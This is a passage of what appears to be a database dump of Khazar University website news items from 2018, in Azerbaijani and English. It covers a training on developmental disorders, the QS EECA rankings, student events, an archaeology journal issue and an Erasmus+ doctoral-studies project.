İkram Rüstəmov “Uşaqlarda inkişaf...','<p>2018-ci il noyabrın 20-də MD, PhD&nbsp;İkram Rüstəmov “<em>Uşaqlarda inkişaf pozuntuları</em>” adlı təlim ilə Xəzər Universitetində çıxış edəcək.</p><p>Dr. İkram Rüstəmov 2014-2015-ci illərdə Boston Usaq Xəstəxanası doktor-elmi işçi və Harvard Universiteti Tibb fakültəsində qonaq assistent professor kimi çalışmışdır. 2012-ci ildən bugünədək Azərbaycan Tibb Universiteti Psixiatriya kafedrasının assistentidir.</p><p>Təlimi Psixologiya departamentinin müəllimi Nilufər Əlizadə təşkil edir.</p><p>Maraqlanan hər kəs iştirak edə bilər.</p><p><a href=\"/files/events/poster-usaqlarda-inkisaf-geriliyi.jpg\" target=\"_blank\"><img src=\"/files/events/poster-usaqlarda-inkisaf-geriliyi.jpg\" style=\"border:0px  #000000;float:left;margin-left:7px;margin-right:7px;margin-bottom:7px;width:250px;height:352px\"></a><br></p>'),(6298,3583,'en','Training on “Developmental disorders in children”','On November 20, 2018, MD, Ph.D. Ikram Rustamov will conduct...','<p>On November 20, 2018, MD, Ph.D. Ikram Rustamov will conduct a training session on “<em>Developmental disorders in children</em>” at Khazar University.</p><p>Dr. Ikram Rustamov worked as a physician and researcher at Boston Children’s Hospital in 2014-2015 and as a guest assistant professor at Harvard Medical School. He has been an assistant at the Department of Psychiatry of Azerbaijan Medical University since 2012.</p><p>The training is organized by Nilufar Alizadeh, instructor of the Department of Psychology.</p><p>Everybody is welcome to participate.</p>  \r\n<p><a href=\"/files/events/poster-usaqlarda-inkisaf-geriliyi.jpg\" target=\"_blank\"><img src=\"/files/events/poster-usaqlarda-inkisaf-geriliyi.jpg\" style=\"border:0px  #000000;float:left;margin-left:7px;margin-right:7px;margin-bottom:7px;width:250px;height:352px\"></a><br></p>'),(6310,3589,'en','Presentation on “Skills Refinery”','On October 25, 2018, on an organizational initiative of Career Center of Khazar...','<p>On October 25, 2018, on an organizational initiative of Career Center of Khazar University, BP company associates made a presentation on “Skills Refinery”.</p><p>BP has created an online portal entitled “Skills Refinery” on the purpose of increasing employment opportunities of students.</p><p>“Skills Refinery” portal has been developed on a cutting-edge technology for first and second year students.</p><p>“Skills Refinery” enables students to test and improve themselves on critical thinking, innovation, cognitive flexibility and communication skills.</p><p>At the end, the presenters answered students’ questions.</p>'),(6299,3584,'az','Xəzər Universiteti Şərqi Avropa və Mərkəzi Asiyanın ilk 200 universiteti arasında','2018-ci il oktyabrın 31-də QS təşkilatı tərəfindən 2018-ci il üçün inkişaf etməkdə olan Avropa...','<p>2018-ci il oktyabrın 31-də QS təşkilatı tərəfindən 2018-ci il üçün inkişaf etməkdə olan Avropa və Mərkəzi Asiya ölkələrinin ən yaxşı universitetlərinin 10 meyar əsasında illik reytinqi müəyyənləşdirilmişdir.</p><p>Reytinq siyahısına Avropa və Mərkəzi Asiyadan inkişaf etməkdə olan aşağıdakı 24 ölkənin ən yaxşı 300 ali təhsil müəssisəsinin adı daxil edilmişdir: Azərbaycan, Belarus, Bosniya və Herseqovina, Bolqarıstan, Xorvatiya, Çexiya, Gürcüstan, Estoniya, Kipr, Macarıstan, Moldova, Qazaxıstan, Qırğızıstan, Latviya, Litva, Polşa, Rumıniya, Rusiya, Serbiya, Slovakiya, Sloveniya, Türkiyə və Ukrayna.</p><p>Xəzər Universiteti regionun 48% ən yaxşı universitetləri sırasında yer almışdır.</p><p>Keçən illə müqayisədə reytinqdə bu il Azərbaycandan 7 ali təhsil müəssisəsi iştirak etmişdir. Həmin ali məktəblərin adı ən yaxşı 300 universitet sırasına daxil edilmişdir. Reytinq siyahısına görə, Xəzər Universiteti reytinqdə iştirak edən Azərbaycanın digər ali təhsil müəssisələri arasında öz mövqeyini saxlayaraq, 161-170-ci aralığındakı yeri tutmuşdur. Reytinqə qatılan digər Azərbaycan universitetlərindən –Bakı Dövlət Universiteti 142-ci, Azərbaycan Dövlət İqtisadiyyat Universiteti 181-190-cı yerdə, Azərbaycan Memarlıq və İnşaat Universiteti, ADA Universiteti və Azərbaycan Dillər Universiteti 201-250-ci, Bakı Slavyan Universiteti isə 251-300-cü yerlər arasında qərarlaşmışdır.</p><p>Ətraflı məlumatı bu link vasitəsilə əldə etmək olar:&nbsp;</p><p><a href=\"https://www.topuniversities.com/university-rankings/eeca-rankings/2019\">https://www.topuniversities.com/university-rankings/eeca-rankings/2019</a>.</p>'),(6300,3584,'en','Khazar University is among top 200 Universities in QS EECA University Rankings 2019','On October 31, 2018, QS published annual ranking of the best universities in Emerging Europe...','<p>On October 31, 2018, QS published annual ranking of the best universities in Emerging Europe and Central Asia (EECA) evaluating each university based on 10 criteria.</p><p>Top 300 universities out of 26 EECA countries – Azerbaijan, Belarus, Bosnia and Herzegovina, Bulgaria, Croatia, Cyprus, Czech Republic, Estonia, Georgia, Hungary, Kazakhstan, Kyrgyzstan, Latvia, Lithuania, Moldova, Poland, Romania, Russia, Serbia, Slovakia, Slovenia, Turkey and Ukraine - have been included in the list.</p><p>Khazar University performed among top 48% in the QS EECA University Rankings.</p><p>Compared to previous QS University rankings, 7 universities from Azerbaijan participated in this edition. The names of those universities have been included in the list of top 300 universities. According to the results of the ranking, Khazar University was placed in 161-170 tier.</p><p>Other universities took the following places:</p><ul><li>Baku State University – 142<sup>th</sup> place;</li><li>Azerbaijan State University of Economics – 181-190<sup>th</sup> place;</li><li>Azerbaijan University of Construction and Architecture – 201-250<sup>th</sup> place;</li><li>ADA University – 201-250<sup>th</sup> place;</li><li>University of Languages – 201-250<sup>th</sup> place and;</li><li>Baku Slavic University 251-300<sup>th</sup> place.</li></ul><p>For more information, you can visit the following link:</p><p><a href=\"https://www.topuniversities.com/university-rankings/eeca-rankings/2019\">https://www.topuniversities.com/university-rankings/eeca-rankings/2019</a>.<br></p>'),(6302,3585,'en','Final DESCnet Project meeting held at Ilia State University','On October 24-26, 2018, the last meeting of the DESCnet (the Network for Developing...','<p>On October 24-26, 2018, the last meeting of the DESCnet (the Network for Developing European Studies in the Caucasus) project was held at Ilia State University in Tbilisi, Georgia. Funded by the European Union’s Erasmus+ Jean Monnet Program, the DESCnet was designed with the aim to enhance the level of European Studies in the Caucasus region.</p><p>The final meeting was concentrated on overall evaluation of the DESCnet project results. Elmar Mustafayev, lecturer and coordinator of Political Science and International Relations Department, represented Khazar University at the meeting and informed the representatives of partner universities about the works done by Khazar University within the DESCnet project.</p><p>Moreover, partner universities expressed their desire and commitment to further fruitful collaborations and decided to re-apply for a consortia of Erasmus+ Jean Monnet Network.</p>'),(6303,3586,'az','Hamlet İsaxanlı “Dizaynın Müasir Problemləri: İnsan-Dizayn-Mühit” adlı konfransda çıxış etdi','2018-ci il oktyabrın 30-da Xəzər Universitetinin Təsisçisi, Direktorlar','<p>2018-ci il oktyabrın 30-da Xəzər Universitetinin Təsisçisi, Direktorlar və Qəyyumlar Şurasının sədri professor Hamlet İsaxanlı “<em>Dizaynın Müasir Problemləri: İnsan-Dizayn-Mühit</em>” mövzusunda II Elmi-praktiki konfransın açılış mərasimində iştirak etdi. O, dizayn işinin elmi, texnologiyanı və incəsənəti birləşdirdiyi çağdaş bir sahə olduğu barədə danışdı, Xəzər Universitetində dizayn, memarlıq və inşaat mühəndisliyi üzrə kadr hazırlığı xüsusiyyətləri haqqında fikir söylədi, Azərbaycan daxilində və beynəlxalq aləmdə universitetlərin işbirliyinin vacibliyini vurğuladı.</p>'),(6304,3586,'en','Hamlet Isakhanli delivered a speech at Conference on ‘Contemporary Problems of Design: Human-Design-Environment’','On October 30, 2018, Professor Hamlet Isakhanli, Founder of Khazar University...','<p>On October 30, 2018, Professor Hamlet Isakhanli, Founder of Khazar University and Chairman of its Board of Directors and Trustees, attended the opening ceremony of II Scientific-Practical Conference on “<em>Contemporary Problems of Design: Human-Design-Environment</em>”. He noted that Design was a modern area unifying Science, Technology and Art, expressed his thoughts about features of staff training in the fields of Design, Architecture and Construction Engineering at Khazar University and emphasized importance of the collaboration of universities within Azerbaijan and on international arena.</p>'),(6409,3640,'az',' “Cəmiyyətdə qadınların rolu” mövzusunda dəyirmi masa keçiriləcək','2018-ci il noyabr 14-ü saat 15:30-da “Peer to Peer Facebook...','<p>2018-ci il noyabr 14-ü saat 15:30-da “Peer to Peer Facebook Global Digital Challenge” layihəsində iştirak edən Xəzər Universiteti İqtisadiyyat və menecment fakültəsinin FIST komandasının “Cəmiyyətdə qadınların rolu” (“The role of women in society”) mövzusunda dəyirmi masa ətrafında müzakirə keçiriləcək. Tədbir Xəzər Universitetinin (“Neftçilər” korpusu) konfrans zalında (otaq 102N) təşkil olunacaq.</p><p>Komandanın hədəfi qadının cəmiyyətdə ayrı-ayrı sahələrində var olması və mövqelərində onlara olan münasibəti intensiv müzakirə etməkdir. Komandanın devizi belədir: “Məqsədimiz feminizmi təbliğ etmək deyil, cəmiyyətin qadına münasibətini dəyişməkdir!”</p>'),(6385,3627,'az','Xəzər Universitetində “3 dəqiqə tezis təqdimatı” təlimi keçiriləcək','2018-ci il noyabrın 23-də saat 14:00-da Xəzər Universitetinin “Neftçilər”...','<p>2018-ci il noyabrın 23-də saat 14:00-da Xəzər Universitetinin “Neftçilər” kampusundakı Ömürboyu Təlim Mərkəzində (5-ci mərtəbə, KİM-lə üzbəüz) “3 dəqiqə tezis təqdimatı” (3DTT) təlimi keçiriləcək.</p><p>Bu təlim 2018-ci il dekabrın 14-də Xəzər Universitetində ilk dəfə keçiriləcək 3DTT müsabiqəsinə hazırlıq məqsədi daşıyır.</p><p>Təlim bütün doktorant və magistr tələbələri üçün nəzərdə tutulmuşdur.</p>'),(6382,3625,'en','Seminar “Evaluation of Student Learning in the Classroom” to be held','On November 26, 2018, at 15:00, on an organizational support...','<p>On November 26, 2018, at 15:00, on an organizational support of the Center for Development and the Training Center, a seminar on “Evaluation of Student Learning in the Classroom” will be conducted by Fulbright Prof. Qaisar Sultana, Professor Emeritus, College of Education, Eastern Kentucky University, USA, a Fulbright Scholar hosted by Khazar University. The seminar will be held at Neftchilar Campus, Lifelong Learning Center (New Building, 5<sup>th</sup> floor).</p><p>Everybody is welcome to participate.</p><p>The seminar is organized within the Erasmus+ PETRA project (573630-EPP-1-2016-1-AZ-EPPKA2-CBHE-JP)</p>'),(6383,3626,'az','Doktorantın həmmüəllif olduğu elmi məqaləsi çap edildi','Xəzər Universiteti Humanitar və Sosial Elmlər fakültəsinin dekan müavini Validə...','<p>Xəzər Universiteti Humanitar və Sosial Elmlər fakültəsinin dekan müavini Validə Kərimovanın (doktorant) Azərbaycan Dillər Universitetinin Ümumi dilçilik kafedrasının müdiri professor Fəxrəddin Veysəlli ilə birgə həmmüəllif olduğu “<a href=\"http://www.khazar.org/files/letters/philology_no_6_18_november.pdf\"><em>The sentence deep structure and its semantic research principles in N.Chomsky’s Syntactic Structures</em></a>”&nbsp;adlı elmi məqaləsi Rusiya Federativ Respublikasının Volqoqrad şəhərinin Beynəlxalq elmi “Philology” jurnalının 2018-ci il 6-cı sayında çap edilmişdir (ISSN 2414-4452). Məqalədə, əsasən, alt qat strukturunun cümlənin başlıca forması olması, alt qatın spesifik xüsusiyyətlərinin müəyyənləşdirilməsi qaydaları, dilin mənimsənilməsində alt qat strukturunun əlaqəsi, köməkçi inversiya və wh-önlüyü kimi qaydalardan əvvəl tətbiq olunduğu izah edilir.</p>'),(6387,3628,'az','Bizimlə əlaqə','Bizimlə əlaqə','<p><img src=\"http://www.khazar.org/files/social/_Raziya_Isayeva.jpg\" width=\"150\" height=\"260\" style=\"border:0px #000000;width:150px;height:260px;margin-right:7px;margin-bottom:7px;margin-left:7px;float:left\"><strong><a href=\"http://www.khazar.org/files/admin/raziya_isayeva_cv.pdf\">Raziyə İsayeva</a></strong></p><p><strong>İnkişaf ofisinin&nbsp;direktoru</strong></p><p><strong>Email:&nbsp;</strong><a href=\"mailto:risayeva@khazar.org\">risayeva[at]khazar.org</a></p><p><a href=\"mailto:risayeva@khazar.org\"></a><strong>Telefon</strong>: (+994 12)&nbsp;421 79 16 (207)</p><p><br></p><p><br></p><p><br></p>'),(6305,3587,'az','Amerikada təhsil və viza prosedurları','2018-ci il oktyabrın 26-da Xəzər Universitetində Karyera Mərkəzinin təşkilatçılığı...','<p>2018-ci il oktyabrın 26-da Xəzər Universitetində Karyera Mərkəzinin təşkilatçılığı ilə Amerikada təhsil və viza prosedurları ilə bağlı tədbir keçirildi. Tədbirdə Amerika Birləşmiş Ştatlarının Azərbaycan Respublikasındakı Səfirliyinin Konsulluq şöbəsinin rəis müavini Kristofer Sorensen çıxış etdi. O, öz çıxışında tələbələri vizaya müraciət etmək qaydaları, tələb olunan sənədlər və bir sıra digər viza növləri ilə bağlı maarifləndirdi. Sorensen eyni zamanda vizadan kəsilmə hallarından da bəhs etdi və bunun səbəblərini açıqladı.</p><p>Qeyd edək ki, tədbirdə tələbələri maraqlandıran “Work and Travel” Proqramı haqqında da ətraflı məlumat verildi.</p><p>Tədbirdə Xəzər Universitetinin xarici və yerli tələbələri iştirak edirdilər.</p><p>Tədbirin sonuna doğru isə tələbələrin sualları cavablandırıldı.</p>'),(6306,3587,'en','Education in America and visa procedure','On October 26, 2018, on an organizational initiative of Career Center of Khazar University...','<p>On October 26, 2018, on an organizational initiative of Career Center of Khazar University, a workshop on education in America and visa procedure was held. Christopher Sorensen, Deputy Chair of the Consulate of the United States Embassy to Azerbaijan, informed students about visa application procedure, required documents as well as types of a visa. He also talked about visa denial and its reasons.</p><p>Students were also informed about the “Work and Travel” program. The workshop was attended by national and international students of Khazar University.</p><p>At the end, the presenter answered students’ questions.</p>'),(6307,3588,'az','“Azərbaycan arxeologiyası” jurnalının yeni sayı çapdan çıxdı','Xəzər Universitetinin nəşri olan “Azərbaycan arxeologiyası” jurnalının növbəti sayı...','<p>Xəzər Universitetinin nəşri olan “Azərbaycan arxeologiyası” jurnalının növbəti sayı (Cild:21, say&nbsp;1, 2018) çapdan çıxmışdır. Bu sayda Neolit inqilabına xüsusi yer verilmişdir.</p><p>Jurnalın bu buraxılışında yerli arxeoloqlarla yanaşı, xarici arxeoloqların da yazılarına yer verilmişdir. Mehmet Özdoğan (İstanbul Universiteti) Neolit dövrünə yenidən tərif verilməsi –zamana uyğun olaraq terminin konseptual dəyişimi –mövzusunda məqalə yazmışdır. Halil Tekin (Ankara Hacettepe Universiteti) Mesopotamiyanın “sirli” Neolit dövrü keramikası haqqında geniş məlumatlar vermişdir. Türkiyədən olan digər arxeoloq Zeynep Eres “(İstanbul Texniki Universiteti) arxeoloji qazıntı, mühafizə etmə, nümayiş etdirmə və cəmiyyətlər arasındakı münasibətlər (Kırklareli abidəsi əsasında) mövzusu əsasında dolğun məlumatlar vermişdir.</p>\r\n<p>Yuxarıda da qeyd etdiyimiz kimi, Neolit inqilabı Azərbaycandan da yan keçməmişdir. Yerli arxeoloqlarımızın da yazıları jurnalda öz əksini tapmışdır. Qüdrət İsmayılovun “Erkən əkinçilik “neolit inqilabı” və Azərbaycan”, Roza Arazovanın “Azərbaycanin qədim əkinçi cəmiyyətlərinin təsərrüfati (əmək alətlərinin eksperimental-trasoloji tədqiqi əsasında)”, Fərhad Quliyevin “Neolit dövründə Cənubi Qafqazda məskunlaşma proseslərinin xronoloji xüsusiyyətləri (Göytəpə və Hacıələmxanlı qədim yaşayış yerlərinin radiokarbon analizləri əsasında)”, Xəqani Alməmmədovun “Cənubi Qafqaz Neolitində yeni sosial-mədəni məkanın –Qarabağın erkən oturaq əkinçi mədəniyyətinin təşəkkülü”, Valeh Ələkbərovun “Neolit dövründə Cənubi Qafqazda keramika istehsalının yaranması və inkişafı”, Tufan Axundovun “Şomutəpə ənənəsinin mənşəyi problemlərinə dair” məqalələri oxucuların ixtiyarına verilmişdir.</p>'),(6308,3588,'en','New issue of the journal “Archeology of Azerbaijan” is published','The next issue (Volume: 21, number 1, 2018) of the journal “Archeology of...','<p>The next issue (Volume: 21, number 1, 2018) of the journal “Archeology of Azerbaijan”, a publication of Khazar University, was published. This number covers more articles about the Neolithic Revolution.</p><p>This number of the journal includes articles by local and international archaeologists. In his article, Mehmet Ozdoghan (Istanbul University) suggests changing the definition of the Neolithic Period - making conceptual modification - in the definition in accordance with the requirements of the that period. In his article, Halil Tekin (Hacettepe University) provided detailed information about Mesopotamia\'s \"mysterious\" Neolithic ceramics. Another archaeologist from Turkey, Zeynep Eres (Istanbul Technical University) delivers full information about archaeological excavation, preservation, demonstration and relations between communities (based on the Kirklareli monument).</p><p>As mentioned above, Azerbaijan also experienced the Neolithic Revolution. The journal includes articles by Azerbaijani archaeologists: \"Early Farming \"Neolithic Revolution\" and Azerbaijan\" by Gudrat Ismayilov; \"Ancient farming societies of Azerbaijan (based on&nbsp;experimental-trasological study of labor tools)\" by Roza Arazova; \"Chronological characteristics of settlements in the South Caucasus during the Neolithic period (based on radiocarbon analysis of the ancient settlements of Goytepe and Hacaialamkhanli)\" by Farhad Guliyev; \"Creation of a new socio-cultural space in the South Caucasus Neolithic - Early Sitting Cultivation of Garabagh\" by Khagani Almammadov; \"Creation and development of ceramic production in the South Caucasus during the Neolithic period\" by Valeh Alekberov; \"The Origin of Shamutepe Tradition\" by Tufan Akhundov.</p>'),(6309,3589,'az','“Bacarıqların təkmilləşdirilməsi” adlı təqdimat keçirildi','2018-ci il oktyabrın 25-də Xəzər Universitetində Karyera Mərkəzinin təşəbbüsü ilə...','<p>2018-ci il oktyabrın 25-də Xəzər Universitetində Karyera Mərkəzinin təşəbbüsü ilə BP şirkətinin nümayəndələrinin “Bacarıqların təkmilləşdirilməsi” adlı təqdimatı keçirildi.</p><p>BP şirkəti tələbələrin işlə təmin olunma imkanlarının artırılmasına yönəlmiş “Bacarıqların təkmilləşdirilməsi” (“Skills Refinery”) adlı yeni qlobal onlayn portalı yaratmışdır.</p><p>Birinci və ikinci kurs tələbələri üçün nəzərdə tutulmuş “Bacarıqların təkmilləşdirilməsi” ən son rəqəmsal texnologiyaları onlayn portal şəklində qurmuşdur.</p><p>“Bacarıqların təkmilləşdirilməsi” tələbələrə beş bacarıq sahəsində kritik məsələlərin həlli innovasiya, təsir və ünsiyyət koqnitiv çeviklik və emosional intellekt sahələrində öz qabiliyyətlərini sınamaq və inkişaf etdirmək fürsəti verir.</p><p>Tədbirin sonunda tələbələrin sualları cavablandırıldı.</p>'),(6403,3639,'az','NIZAMI (561784-EPP-1-2015-1-FR-EPPKA2-CBHE-SP)','NIZAMI (561784-EPP-1-2015-1-FR-EPPKA2-CBHE-SP)','<p margin-bottom:0in;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\" style=\"background-image: url(&quot;../images/outline-p.png&quot;);\"><strong>Start date:</strong>2016</p><p margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;line-height:normal\"\"=\"\" style=\"background-image: url(&quot;../images/outline-p.png&quot;);\"><strong>Duration:</strong>&nbsp;36 months</p><p margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;line-height:normal\"\"=\"\" style=\"background-image: url(&quot;../images/outline-p.png&quot;);\"><strong>Brief information and main objectives:</strong>&nbsp;</p><p margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;line-height:normal\"\"=\"\" style=\"background-image: url(&quot;../images/outline-p.png&quot;);\">The objective of the project concerns the restructuration and upgrading of the doctoral studies in Azerbaijan following the European standards in order to promote internationalization, research cooperation, PhD excellence and employability.</p><p>Actually, most of the HEIs are still based on the soviet education system and the doctoral studies are managed by the Academy of Sciences of the Republic of Azerbaijan. The wiling of the Academy, of the&nbsp;Ministry of Education&nbsp;of Azerbaijan and of the HEIs is to modernize the structuration of the doctoral studies taking into example the European model.</p><p>Moreover, the actual system shows structural disparities between universities. But the objective is the same: excellence and recognition at the national and international level. The project proposes to establish common criteria to insure the quality of PhD programs by restructuring the organization (management) of the doctoral studies. The exchanges of experience between European countries and partner countries will build an appropriate organization of the doctoral studies in Azerbaijan that fit to European standards, and therefore will improve exchanges between Europe and Azerbaijan.</p><p>The project will take place over three years and is based on tight relations between partners.</p><p>Discussions and exchanges of know-how between partners will determinate the appropriate restructuration for HEIs in Azerbaijan within a frame based on the European model.</p><p>To reach the objective, key actions have been identified:</p><p>A state of art will settle the basis of the work and a critical analysis of the European and Azerbaijani structures will permit to identify in detail the concrete measures to be taken.</p><p>The development of the project will then be dedicated to the structuration of doctoral studies on the basis of the European model that will be adapted to Azerbaijan. The key points of the project will be (a) to structure the doctoral schools; (b) to organize doctoral schools in a frame of a central structure (collegium for example); (c) to set up a National Management Platform to insure the quality and the follow up of PhD students and young researchers (d) to determine the criteria to&nbsp; insure high standards in doctoral studies in term of management, students skills, internationalization and integration between research and education to reach excellence, enhancing employability and international cooperation.</p><p margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;line-height:normal\"\"=\"\" style=\"background-image: url(&quot;../images/outline-p.png&quot;);\">The coordinator will be careful to work collegially to insure success and sustainability and will take final deccisions.</p><p margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;line-height:normal\"\"=\"\" style=\"background-image: url(&quot;../images/outline-p.png&quot;);\">&nbsp;</p><p margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;line-height:normal\"\"=\"\" style=\"background-image: url(&quot;../images/outline-p.png&quot;);\"><strong>Project Coordinator:&nbsp;</strong><strong>University&nbsp;</strong><strong></strong>of Montpellier, FR<strong></strong></p><p margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;background:white\"\"=\"\" style=\"background-image: url(&quot;../images/outline-p.png&quot;);\"><strong>Partners:</strong></p><ul><li>Uppsala Universitet, SE</li><li>Masaryk University, NL</li><li>Fatih University, TK</li><li>Ruprecht-Karls-Universitaet Heidelberg, DE</li><li>Universitat de Barcelona, SP</li><li>Baku State University, AZ</li><li>Khazar University, AZ</li><li>Baku Engineering University, AZ</li><li>Azerbaijan university of Language, AZ</li><li>Azerbaijan University of Architecture and Construction, AZ</li><li>Nakhchivan State University, AZ</li><li>Azerbaijan Technical University, AZ</li><li>Azerbaijan State Agriculture University, AZ</li><li>Azerbaijan State University of Economics, AZ</li><li>Ministry of Education of the Azerbaijan Republic, AZ</li><li>Azerbaijan National Academy of Sciences, AZ</li></ul><p margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;line-height:normal\"\"=\"\" style=\"background-image: url(&quot;../images/outline-p.png&quot;);\"><strong><br></strong></p><p margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;line-height:normal\"\"=\"\" style=\"background-image: url(&quot;../images/outline-p.png&quot;);\"><strong>Contact:</strong></p><p margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;background:white\"\"=\"\" style=\"background-image: url(&quot;../images/outline-p.png&quot;);\"><strong>Raziya Isayeva</strong></p><p margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;background:white\"\"=\"\" style=\"background-image: url(&quot;../images/outline-p.png&quot;);\"><a href=\"mailto:risayeva@khazar.org\">risayeva@khazar.org</a></p><p margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;background:white\"\"=\"\" style=\"background-image: url(&quot;../images/outline-p.png&quot;);\">+994 (12) 421 79 16/ ext 207</p><p margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;background:white\"\"=\"\" style=\"background-image: url(&quot;../images/outline-p.png&quot;);\">+994 (50)&nbsp;348 75 68</p>'),(6404,3639,'en','NIZAMI (561784-EPP-1-2015-1-FR-EPPKA2-CBHE-SP)','NIZAMI (561784-EPP-1-2015-1-FR-EPPKA2-CBHE-SP)','<p margin-bottom:0in;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\" style=\"background-image: url(&quot;../images/outline-p.png&quot;);\"><strong>Start date:</strong>2016</p><p margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;line-height:normal\"\"=\"\" style=\"background-image: url(&quot;../images/outline-p.png&quot;);\"><strong>Duration:</strong>&nbsp;36 months</p><p margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;line-height:normal\"\"=\"\" style=\"background-image: url(&quot;../images/outline-p.png&quot;);\"><strong>Brief information and main objectives:</strong>&nbsp;</p><p margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;line-height:normal\"\"=\"\" style=\"background-image: url(&quot;../images/outline-p.png&quot;);\">The objective of the project concerns the restructuration and upgrading of the doctoral studies in Azerbaijan following the European standards in order to promote internationalization, research cooperation, PhD excellence and employability.</p><p>Actually, most of the HEIs are still based on the soviet education system and the doctoral studies are managed by the Academy of Sciences of the Republic of Azerbaijan. The wiling of the Academy, of the&nbsp;Ministry of Education&nbsp;of Azerbaijan and of the HEIs is to modernize the structuration of the doctoral studies taking into example the European model.</p><p>Moreover, the actual system shows structural disparities between universities. But the objective is the same: excellence and recognition at the national and international level. The project proposes to establish common criteria to insure the quality of PhD programs by restructuring the organization (management) of the doctoral studies. The exchanges of experience between European countries and partner countries will build an appropriate organization of the doctoral studies in Azerbaijan that fit to European standards, and therefore will improve exchanges between Europe and Azerbaijan.</p><p>The project will take place over three years and is based on tight relations between partners.</p><p>Discussions and exchanges of know-how between partners will determinate the appropriate restructuration for HEIs in Azerbaijan within a frame based on the European model.</p><p>To reach the objective, key actions have been identified:</p><p>A state of art will settle the basis of the work and a critical analysis of the European and Azerbaijani structures will permit to identify in detail the concrete measures to be taken.</p><p>The development of the project will then be dedicated to the structuration of doctoral studies on the basis of the European model that will be adapted to Azerbaijan. The key points of the project will be (a) to structure the doctoral schools; (b) to organize doctoral schools in a frame of a central structure (collegium for example); (c) to set up a National Management Platform to insure the quality and the follow up of PhD students and young researchers (d) to determine the criteria to&nbsp; insure high standards in doctoral studies in term of management, students skills, internationalization and integration between research and education to reach excellence, enhancing employability and international cooperation.</p><p margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;line-height:normal\"\"=\"\" style=\"background-image: url(&quot;../images/outline-p.png&quot;);\">The coordinator will be careful to work collegially to insure success and sustainability and will take final deccisions.</p><p margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;line-height:normal\"\"=\"\" style=\"background-image: url(&quot;../images/outline-p.png&quot;);\">&nbsp;</p><p margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;line-height:normal\"\"=\"\" style=\"background-image: url(&quot;../images/outline-p.png&quot;);\"><strong>Project Coordinator:&nbsp;</strong><strong>University&nbsp;</strong><strong></strong>of Montpellier, FR<strong></strong></p><p margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;background:white\"\"=\"\" style=\"background-image: url(&quot;../images/outline-p.png&quot;);\"><strong>Partners:</strong></p><ul><li>Uppsala Universitet, SE</li><li>Masaryk University, NL</li><li>Fatih University, TK</li><li>Ruprecht-Karls-Universitaet Heidelberg, DE</li><li>Universitat de Barcelona, SP</li><li>Baku State University, AZ</li><li>Khazar University, AZ</li><li>Baku Engineering University, AZ</li><li>Azerbaijan university of Language, AZ</li><li>Azerbaijan University of Architecture and Construction, AZ</li><li>Nakhchivan State University, AZ</li><li>Azerbaijan Technical University, AZ</li><li>Azerbaijan State Agriculture University, AZ</li><li>Azerbaijan State University of Economics, AZ</li><li>Ministry of Education of the Azerbaijan Republic, AZ</li><li>Azerbaijan National Academy of Sciences, AZ</li></ul><p margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;line-height:normal\"\"=\"\" style=\"background-image: url(&quot;../images/outline-p.png&quot;);\"><strong><br></strong></p><p margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;line-height:normal\"\"=\"\" style=\"background-image: url(&quot;../images/outline-p.png&quot;);\"><strong>Contact:</strong></p><p margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;background:white\"\"=\"\" style=\"background-image: url(&quot;../images/outline-p.png&quot;);\"><strong>Raziya Isayeva</strong></p><p margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;background:white\"\"=\"\" style=\"background-image: url(&quot;../images/outline-p.png&quot;);\"><a href=\"mailto:risayeva@khazar.org\">risayeva@khazar.org</a></p><p margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;background:white\"\"=\"\" style=\"background-image: url(&quot;../images/outline-p.png&quot;);\">+994 (12) 421 79 16/ ext 207</p><p margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;background:white\"\"=\"\" style=\"background-image: url(&quot;../images/outline-p.png&quot;);\">+994 (50)&nbsp;348 75 68</p>'),(6406,3635,'en','Events','Events','<h3>Seminar “Evaluation of Student Learning in the Classroom” to be held<br></h3><p>On November 26, 2018, at 15:00, on an organizational support of the Center for Development and the Training Center, a seminar on “Evaluation of Student Learning in the Classroom” will be conducted by Fulbright Prof. Qaisar Sultana, Professor Emeritus, College of Education, Eastern Kentucky University, USA, a Fulbright Scholar hosted by Khazar University. The seminar will be held at Neftchilar Campus, Lifelong Learning Center (New Building, 5<sup>th</sup> floor).</p><p>Everybody is welcome to participate.</p><p>The seminar is organized within the Erasmus+ PETRA project (573630-EPP-1-2016-1-AZ-EPPKA2-CBHE-JP)</p>'),(6407,3636,'az','Xəbərlər','Xəbərlər',''),(6408,3636,'en','News','News',''),(6410,3640,'en','Round-table talks “The Role of Women in Society” to be held','On November 14, 2018, at 15:30, the FIST team of the School...','<p>On November 14, 2018, at 15:30, the FIST team of the School of Economics and Management of Khazar University, which took part in “Peer to Peer Facebook Global Digital Challenge” project, will hold round-table talks “The role of women in society” in conference hall (room 102N) at Khazar University (“Neftchiler” campus).</p><p>The aim of the conference is to discuss the position of women in various spheres of society and the attitude to women. The slogan of the team is: “Our aim is not to propagate feminism but to change attitude towards women”.&nbsp;</p>'),(6411,3641,'az','Hamlet İsaxanlı “Xalq əmanəti” layihəsində çıxış etdi','2018-ci il noyabrın 13-də 